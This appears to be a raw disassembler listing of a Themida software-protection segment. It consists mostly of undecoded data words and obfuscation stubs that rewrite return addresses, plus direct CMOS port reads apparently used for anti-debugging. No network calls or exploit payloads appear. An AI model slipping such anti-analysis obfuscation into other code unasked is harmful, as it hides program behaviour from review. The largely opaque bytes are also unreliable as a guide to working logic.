0DB8C66FFh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 48C35141h dd 0E7D8F0A1h, 0F2432A13h, 0A5B58B76h, 0F606100Ah, 840F04C3h dd 2Eh, 95FFF98Bh, 6100DC9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 1FC35747h, 18AE4386h, 895073FBh dd 16E92404h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 2907C352h, 6E9h, 0CE69C400h dd 0B0600BB2h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 643C63B0h, 57F1A8ACh dd 8B6670E6h, 0CCB660F1h, 0BC9B589h, 0E4610610h, 56006A71h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0D8B60F85h, 0DE9h, 194E1F00h, 0A0038E1h, 253B18EEh dd 6BA5339h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 5152C355h, 57E85AFBh dd 53A8C7DBh, 6AC38B5Eh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 8B93C357h, 10170DB5h dd 4E8C106h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch dd 0CFC35242h, 3186FD1Ah, 89CE0EB3h, 6AE2F766h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0A38BC357h, 8B5117C6h, 102E81B5h, 2840F06h, 8B000000h dd 0FD82BF9h, 288h, 93FE8B00h, 5E9h, 892B9500h, 0E9508608h dd 0Bh, 2AA04AA2h, 1D58EFB2h, 93ECAFD5h, 1E3D8D89h, 0B5FF0610h dd 6100055h, 16BDB58Bh, 5E90610h, 89000000h, 837EEB97h dd 31C995FFh, 95890610h, 61000E9h, 858900B0h, 6100D65h dd 6A70E6h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 5D1E76C3h, 0E98406A4h, 5, 0C4F58A1h, 15B58927h dd 8906101Eh, 1008358Dh, 6A71E406h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0BFFDC353h dd 41B32DCh, 3CF6BF0Fh, 22830F61h, 89000002h, 101169B5h dd 0D8B60F06h, 1B61B58Bh, 6BA0610h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0CF1BC350h, 0C1E1A0E7h, 6E840C3h, 0BD000000h, 9B2F7172h dd 0AD952957h, 5F061030h, 6AC38Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 4BFCBEC3h, 0F60C5023h dd 0C118A97Fh, 870F04E8h, 6, 0EA9BD33h, 0F7660610h, 0FE9E2h dd 80B0000h, 0AE8E35E8h, 0AB95207Dh, 0B7C6C35Fh, 6AD82BD2h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 868BC355h, 9D8B6058h, 6103145h, 16299D29h dd 2B610610h, 56880FD8h, 6A000001h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0C08DC351h dd 7B983h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 0B58B5EC3h, 6101F1Dh, 0C183F8h dd 89F38B66h, 100BDDBDh, 0FD93B06h, 0FC86h, 0D98C6600h dd 9E9h, 6D311800h, 9FB9D6D3h, 0C1F65FA6h, 0D5840F04h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0FBB2C353h, 63D86C2Dh, 8986BCA4h dd 10002DBDh, 0C995FF06h, 6A06100Dh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 5785C350h dd 0ADB58BAEh, 5B06100Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 50C35646h, 1E8A0FF0h, 0E8000000h, 12h dd 45480D73h, 241E3F24h, 0C364B19Eh, 8937735h, 0BD89E0E0h dd 61001F1h, 66C32B5Fh, 343DF38Bh, 0F000008h, 2F86h, 41958900h dd 0E9061031h, 31h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 6EC35343h, 8D89B152h, 61031A9h, 8B60C08Bh dd 10145595h, 2DE8006h, 8BC38B61h, 50006AD8h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0A40E0A8h dd 85C7522Eh, 610297Dh, 1CC9F511h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 23C35545h, 10865A51h, 8B6006EEh dd 8B61F5C2h, 8B6653C0h, 0BD815EF2h, 6100055h, 7D0h, 51850Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 0A71294C3h, 0C800F24h, 60000000h, 0A8C68166h dd 6190BE7Ah, 566115B5h, 11898589h, 0FF5F0610h, 10005585h dd 68A0F06h, 89000000h, 1022F59Dh, 890F06h, 0FF000000h dd 100055B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 83468421h, 21F04046h, 0C995FF3Eh dd 6A061031h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 32A7C357h, 5D420C7Ch, 0E898B520h dd 13h, 8D669244h, 659A4ECEh, 0D19AD28Bh, 0FEACD2BDh, 5FD5AAACh db 90h ; --------------------------------------------------------------------------- loc_58963D: ; DATA XREF: Themida_:0054D190o mov eax, 12345678h push 0 push edx call sub_58964D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58964D proc near ; CODE XREF: Themida_:00589645p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_58964D endp ; --------------------------------------------------------------------------- db 0BDh, 57h, 56h dd 8E230966h, 8DF8B70Fh, 13E1D29Dh, 0F894E906h, 6AFFFFh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0E9FA22C3h, 11h, 7FC4CFE2h, 8EDB4017h, 0F2E84F74h, 0B52A75BDh dd 8195899Ah, 0E9061009h, 9, 28FB8F8Eh, 6946BAE4h, 0EBC18BA8h dd 4, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 16C14A6Dh, 24BF66B1h, 51006ABCh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 305B692Bh, 5F254979h, 0E860539Dh, 0Ch, 0B88E57E5h, 5671DB19h dd 82984D08h, 83BF69BFh, 0F88B5E0Bh, 0B9858D61h, 6A061013h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 80ECC356h, 518F4481h, 6CC51EAEh, 702588BEh dd 28CABF06h, 8D895A4Bh, 6100A85h, 8B665090h, 6A90F3h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 66FBBDC3h, 0BE6624C4h, 6AF6B7h, 4880Fh, 0BF660000h dd 6AD4B8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 5EC35141h, 0B2A8B1Dh, 66F147F8h, 7F21F681h, 0E421858Dh dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 8BF401C3h, 0B58BC6A3h, 6101D29h, 0BE05C083h dd 7B8BE655h, 0FABE6690h, 6A9050BFh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 5157C357h dd 0ED48A5C6h, 99BD89D5h, 6A061031h, 29006A00h, 10106D95h dd 1995FF06h, 8B06101Dh, 1007F1B5h, 6810F06h, 8B000000h dd 100FE5B5h, 0D89D8D06h, 6A0613AFh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 2216C350h dd 0E179589Bh, 9E998h, 0F3370000h, 2BF1542Dh, 38BF315h dd 1013F1B5h, 66D3FF06h, 85FFF38Bh, 6101419h, 0DD4E9h dd 0E800h, 815D0000h, 13E42BEDh, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0D22F725Bh dd 37DB2776h, 840Fh, 8F0F0000h, 9, 3830Fh, 0B70F0000h dd 55BD81FFh, 0D0061000h, 0F000007h, 16B86h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 2AC1632h, 81669B56h, 8B0E65EFh, 1005299Dh, 0E1B58B06h dd 81061007h, 100E3h, 2D852900h, 0B06100Bh, 0EF850FDBh dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 8B7EC357h, 176140DDh, 0E252BD83h dd 0F000613h, 7C84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 360B78F1h, 0BE66B606h dd 0C1E9D1FEh, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 60E4C350h, 9E8h, 75B46400h dd 67D5459Bh, 0BF0FB159h, 8F0F5FFAh, 16h, 11E9h, 0E13E0100h dd 0D2949F77h, 2B0FC7Dh, 0AD684932h, 2361D81Dh, 100A49B5h dd 5285C706h, 10613E2h, 81000000h, 438397DFh, 5AE913h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0A64F2C3h, 0DDD72CBAh, 37E7D34h, 101BA1BDh dd 0AA6BBE06h, 85C70869h, 613E252h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_589A2F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589A2F proc near ; CODE XREF: Themida_:00589A27p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_589A2F endp ; --------------------------------------------------------------------------- aad 6Bh jbe short loc_589A91 cld lea ebx, [ebp+6100529h] and dword ptr [ebx], 0FFFFFEFFh mov bx, ds push 0 push edx call sub_589A5E and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589A5E proc near ; CODE XREF: Themida_:00589A56p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_589A5E endp ; --------------------------------------------------------------------------- dw 0C611h dd 650F2F65h, 6610BB2Eh, 0F500F681h, 0F04C3F6h, 5784h dd 52006A00h, 3E8h, 0C35A2000h ; --------------------------------------------------------------------------- pop edx loc_589A91: ; CODE XREF: Themida_:00589A41j mov [esp+4], edx add dword ptr [esp+4], 15h inc edx push edx retn ; --------------------------------------------------------------------------- sbb eax, 0F98B6652h push eax mov di, 0D5E9h pop edi call dword ptr [ebp+6100DC9h] jnp loc_589AB9 mov esi, ecx loc_589AB9: ; CODE XREF: Themida_:00589AB1j nop push edx pusha mov si, 0E77Ah mov ch, 9Bh popa pop edi push eax jmp loc_589AD9 ; --------------------------------------------------------------------------- dw 0DAF4h dd 6DAAF4FAh, 80A3AD7Eh, 0A06DECDEh db 77h ; --------------------------------------------------------------------------- loc_589AD9: ; CODE XREF: Themida_:00589AC5j nop mov edi, esi jmp loc_589E98 ; --------------------------------------------------------------------------- jmp loc_589AF0 ; --------------------------------------------------------------------------- dw 4080h dd 14E998EAh, 561A6EFAh ; --------------------------------------------------------------------------- loc_589AF0: ; CODE XREF: Themida_:00589AE1j mov al, 0 call sub_589B01 push edx inc esi mov cl, 0BCh sbb eax, 1D0BD591h xchg eax, esi ; =============== S U B R O U T I N E ======================================= sub_589B01 proc near ; CODE XREF: Themida_:00589AF2p mov [ebp+61015EDh], esi pop edi out 70h, al ; CMOS Memory: ; used by real-time clock clc xor [ebp+61004CDh], edx in al, 71h ; CMOS Memory push 0 push edi call sub_589B1E and [edi-3Dh], bl sub_589B01 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_589B1E proc near ; CODE XREF: sub_589B01+15p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_589B1E endp ; --------------------------------------------------------------------------- dw 247Eh dd 8D0F7Eh, 89000000h, 10107995h, 8DBD8B06h, 0F061006h dd 6AD8B6h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 71C88C3h, 7C3AEDCh, 6F7BE66h, 6BAh, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 8B30216Ah, 4E8C1C3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 28C35343h, 6646BAE4h, 6AE2F7h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 85891DC3h, 6100809h, 6AD82Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0B7E403C3h, 0C7C93890h dd 8BD950F6h, 1022A9B5h, 6E806h, 0F5EE0000h, 6D45236Eh dd 9E853h, 7DE60000h, 9FDC2628h, 5F547AA3h, 89505F5Eh dd 8529241Ch, 61015C1h, 55B5FFh, 12E80610h, 0E7000000h dd 6E09FB5Eh, 8A1FC4EFh, 78CE0FB2h, 8663F27Eh, 0D1B531CFh dd 5E06102Fh, 31C995FFh, 9D890610h, 6101C6Dh, 0B58900B0h dd 6100559h, 6A70E6h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 71E418C3h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 0C7C35040h, 9F7C932Bh, 0B70F7803h dd 0F613CFAh, 1E783h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 4DE0CB8Ch, 0F5350900h dd 2A059D89h, 0F78B0610h, 8BD8B60Fh, 1009B1B5h, 6BA06h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 5A9210C3h, 0AD2FF379h, 0C38BB88Ah, 23E9BD8Bh dd 0E8C10610h, 50006A04h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 9A46ED8Bh, 897D1FEDh dd 1010C185h, 0E2F76606h, 0BE8h, 37809200h, 96B6AA8Fh dd 0C6507D1Eh, 7599501h, 2B5F0610h, 0FD8D89D8h, 58061006h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 85C35646h dd 0EE81664Ch, 0D82B212Ah, 10A880Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 5EECA1C3h dd 2DD1B58Bh, 0B52B0610h, 610088Dh, 0B9FA8B66h, 7, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0F3C35141h, 99DFE30Bh dd 660D7A12h, 83F9F88Bh, 6A00C1h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0D1555EC3h, 0B79A30E6h dd 0BE153276h, 376EB34Ch, 0D93BF08Bh, 7A860Fh, 0BF0F0000h dd 0D98C66FEh, 0F04C1F6h, 5D84h, 0AC10BF00h, 95FF1744h dd 6100DC9h, 5BFABF0Fh, 1925BD23h, 0C32B0610h, 173261BEh dd 5DB50350h, 3D061004h, 834h, 30860Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 6022CDC3h, 60B578ABh, 0E9B2EEC4h, 14h, 2111BD33h, 0C08B0610h dd 0E959D89h, 0B5230610h, 6100B0Dh ; --------------------------------------------------------------------------- loc_589E98: ; CODE XREF: Themida_:00589ADCj mov eax, ebx mov ebx, eax push 0 push edx call sub_589EA7 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589EA7 proc near ; CODE XREF: Themida_:00589E9Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_589EA7 endp ; --------------------------------------------------------------------------- daa push ebx cmp ebp, 0FFFFFFB5h jz loc_589EC4 mov edi, edx loc_589EC4: ; CODE XREF: Themida_:00589EBCj jmp loc_589ED3 ; --------------------------------------------------------------------------- db 3Ch, 16h, 0C6h dd 5534F5ECh db 2Fh, 0BFh, 81h ; --------------------------------------------------------------------------- loc_589ED3: ; CODE XREF: Themida_:loc_589EC4j mov dword ptr [ebp+6102381h], 5247ADD9h call near ptr loc_589EEE+1 or ah, [esi] db 2Eh jbe short near ptr word_589F32 loc_589EE7: ; CODE XREF: Themida_:00589EE9j in eax, dx push es jnb short loc_589EE7 db 2Eh in al, dx popf loc_589EEE: ; CODE XREF: Themida_:00589EDDp adc cl, [ecx+102FADBDh] push es pop edi mov eax, eax push 0 push ebp call sub_589F03 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589F03 proc near ; CODE XREF: Themida_:00589EFBp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_589F03 endp ; --------------------------------------------------------------------------- db 2Ah dd 0C0ECA379h, 0CF816668h, 9D01CDC4h, 61009E5h, 55BD81h dd 7D00610h, 850F0000h db 29h, 0 word_589F32 dw 0 ; CODE XREF: Themida_:00589EE4j ; --------------------------------------------------------------------------- mov esi, [ebp+6101D49h] inc dword ptr [ebp+6100055h] push 0 push ecx call sub_589F4B and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589F4B proc near ; CODE XREF: Themida_:00589F43p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_589F4B endp ; --------------------------------------------------------------------------- db 5Ch dd 55B5FF64h, 6A061000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 1758C355h, 13445563h dd 31C995FFh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 89A608C3h, 1013F1B5h, 83409006h dd 101061BDh, 840F0006h, 0C0h, 2969BD83h, 0F000610h, 0B384h dd 9BD8B00h, 0FF061023h, 10106195h, 0DE906h, 5CAC0000h dd 0FBD09F93h, 68A0988Bh, 0BD00CCAh, 8D840FC0h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 89F1C356h, 1004A995h, 14E906h, 0DAA30000h dd 0EC97343Fh, 71AD74F4h, 9B6688F0h, 3B41A81Ch, 8D8D481Ch dd 6104E85h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 34C35545h, 0E063341Bh, 6860F75h, 8B000000h, 100901BDh dd 81665706h, 5EFFE7E7h, 5B8h, 68D0F00h, 8B000000h, 1012C1BDh dd 0BEE1FF06h, 53F2A8C9h, 22D5BD83h, 0F000610h, 5B984h dd 69BD8300h, 61029h, 5AC840Fh, 8D290000h, 6101189h, 0BE5BD8Bh dd 8D8D0610h, 6100BF5h, 8899D29h, 1C70610h, 44B27C84h dd 14E8h, 7F38F600h, 9CA68A7Bh, 348C24F4h, 414EB7E2h, 1C35C661h dd 0D99D8922h, 5F06101Dh, 81F0B70Fh, 99CFCB01h, 0D0BF6614h dd 441C7D2h, 0CE706B34h, 0F6E68166h, 4418138h, 31D6D710h dd 14E5BD01h, 6A0610h, 23619589h, 858D0610h, 6100BF5h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0AAC35747h dd 18B58D31h, 90F50610h, 0F0BE6650h, 9D31909Fh, 6101079h dd 22D595FFh, 6A0610h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 0AF2A07C3h, 8D8D09ABh, 6100BF5h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0C5C35242h dd 0F3B3A438h, 0C0B86F49h, 5619589h, 0B70F0610h, 1C7FAh dd 52000000h, 1E1BD2Bh, 0C75F0610h, 441h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 81047CC3h, 0A622E3E0h, 840FC00Bh, 81h, 1331BD8Bh, 8D8D0610h dd 6104E85h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 2C35040h, 8BAA2C3Fh, 1022C9BDh, 5B806h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 2ACC21C3h, 0D371CE26h, 0E1FFD3FAh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 59C35545h, 8BF98BC3h, 100205BDh dd 0F58D8D06h, 0BE06100Bh, 36158328h, 727C01C7h, 0B58B44AAh dd 6100C51h, 12E9h, 5613F300h, 0B69D282Ah, 2E5F2067h, 0C21D1FCDh dd 81A89D52h, 99CFCB01h, 50006A14h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 41C72280h, 78753C04h dd 0BF0F60CEh, 51BD8BC1h, 61061029h, 10044181h, 6A31D6D7h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0A9E6C353h, 57F987A1h, 0FE9B2h, 2CA60000h dd 39B54323h, 7F84B43h, 642B7AE8h, 60006AADh, 0BB97CFBFh dd 59B58B6Bh, 61061016h, 0BF5858Dh, 89500610h, 57BE2404h dd 813D21FAh, 9A3A93EEh, 0D595FF27h, 6A061022h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 5301C353h, 47C031F5h, 0E852AB49h, 11h, 46DF6AC6h, 2BA31E64h dd 0E03B352Fh, 0C45D7E9Dh, 0F2B70F95h, 8D8D5E5Eh, 6100BF5h dd 0F8D8589h, 1C70610h, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_58A377 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A377 proc near ; CODE XREF: Themida_:0058A36Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_58A377 endp ; --------------------------------------------------------------------------- db 7Fh ; --------------------------------------------------------------------------- mov dword ptr [ecx+4], 0 or [ebp+6100FEDh], ebx or eax, eax jz loc_58A461 push 0 push edx call sub_58A3A8 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A3A8 proc near ; CODE XREF: Themida_:0058A3A0p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_58A3A8 endp ; --------------------------------------------------------------------------- dd 0BAE18B82h, 4CCD5DD1h, 279DBD2Bh, 0DE80610h, 0A8000000h dd 687135EDh, 58CD9165h, 36B3F9EBh, 8E9h, 0F04C1900h, 60D167DDh dd 8D8D5F00h, 6104E85h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0AEC35343h, 5A67C091h, 81660D3Ch, 0E882B5F6h dd 12h, 25C6D135h, 59637B06h, 0A7280485h, 0D0B651Ah, 0F08B8270h dd 5B85Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 1C3B41C3h, 0BF0FFA48h, 52E1FFFFh dd 880F52h, 5F000000h ; --------------------------------------------------------------------------- pop esi loc_58A461: ; CODE XREF: Themida_:0058A397j lea ecx, [ebp+6100BF5h] push 0 push ebp call sub_58A472 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A472 proc near ; CODE XREF: Themida_:0058A46Ap arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_58A472 endp ; --------------------------------------------------------------------------- wait mov dword ptr [ecx], 54CA95A5h push 0 push edi call sub_58A494 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A494 proc near ; CODE XREF: Themida_:0058A48Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_58A494 endp ; --------------------------------------------------------------------------- fisubr word ptr [eax-18h] push edi pop esi add dword ptr [ecx], 1499CFCBh mov esi, [ebp+6100C21h] mov dword ptr [ecx+4], 0CE5F5969h push ecx pop esi add dword ptr [ecx+4], 31D6D710h mov [ebp+6101E0Dh], esi mov esi, 1EB51CCh push 0 push 0 push eax call sub_58A4DD and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A4DD proc near ; CODE XREF: Themida_:0058A4D5p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_58A4DD endp ; --------------------------------------------------------------------------- db 19h, 7Fh, 52h dd 20BF9B38h, 8D6FCD94h, 100BF585h, 0B1BD8B06h, 50061021h dd 1C410BFh, 24048934h, 241DBD33h, 95FF0610h, 61022D5h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 5EC35242h dd 45DB8D75h, 8D962D15h, 100BF58Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 11E9EBh, 444D0000h dd 1B7A38CBh, 9FB3F0C2h, 8B827D30h, 0C7D1BAE1h, 1, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0E4901315h, 9254F862h, 441C7h, 8B000000h, 103091B5h dd 0FC00B06h, 9184h, 0D5858900h, 8D06102Fh, 104E858Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 5B8891Bh, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 9EEBC350h dd 0EE6119CEh, 1C8ED385h, 130DB58Bh, 81660610h, 0FF5A89EFh dd 57006AE1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0CDD826DCh, 9448E619h, 890F1185h, 6, 7218589h dd 0CA030610h, 0FFF248E9h, 51006AFFh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 6AC18B89h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 0F7C0C352h, 4EB2105h, 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_58A697 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A697 proc near ; CODE XREF: Themida_:0058A68Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_58A697 endp ; --------------------------------------------------------------------------- db 6Dh ; --------------------------------------------------------------------------- pop ecx mov esi, 2CBECE73h mov esi, 7B8E5136h push 0 push edx call sub_58A6BE and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A6BE proc near ; CODE XREF: Themida_:0058A6B6p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_58A6BE endp ; --------------------------------------------------------------------------- xchg eax, ecx retn 0F3BEh ; --------------------------------------------------------------------------- push 0FFFFFF9Ah stc lea eax, [ebp+61013B9h] mov esi, [ebp+6101391h] push eax jge $+6 mov [esp], eax xor esi, [ebp+6101CF1h] push 0 push 0 push ebp call sub_58A6FE and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A6FE proc near ; CODE XREF: Themida_:0058A6F6p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_58A6FE endp ; --------------------------------------------------------------------------- jbe short near ptr loc_58A710+3 loc_58A710: ; CODE XREF: Themida_:0058A70Ej ror dword ptr [ebp-3DF50391h], 0C9h or edi, [ebp+6100A09h] push 0 push 0 push esi call sub_58A72A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A72A proc near ; CODE XREF: Themida_:0058A722p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_58A72A endp ; --------------------------------------------------------------------------- cmp al, 0FDh dec eax lea eax, [ebp+613F3B8h] sub [ebp+6102E69h], edi add eax, 5 cmc mov edi, [ebp+6101D91h] push eax mov [esp], eax push 0 mov esi, 7248130Ah push 0 push 0 push ebx call sub_58A76B and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A76B proc near ; CODE XREF: Themida_:0058A763p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_58A76B endp ; --------------------------------------------------------------------------- db 9Fh dd 0E5FC40E2h, 68AA81EEh, 0ABE66F4h, 0AE8DFh, 1AC20000h dd 0C9873132h, 0A821F2A4h, 0FF5EF28Bh, 101D1995h, 0D7816606h dd 85311266h, 6101575h, 0AFD89D8Dh, 6A0613h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 8B7871C3h dd 0FF4BC507h, 50006AD3h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0E86B7176h, 0Bh, 352B51E2h dd 0D67E746Fh, 819696FEh, 0B88E9FCFh, 0EE95F4Dh, 2000000h dd 98B409F1h, 80787083h, 0C9E7DE9Dh, 1985FFC4h, 0E9061014h dd 8BCh ; --------------------------------------------------------------------------- loc_58A828: ; DATA XREF: Themida_:0054DC60o call $+5 pop ebp sub ebp, 613F3C2h jmp loc_58A841 ; 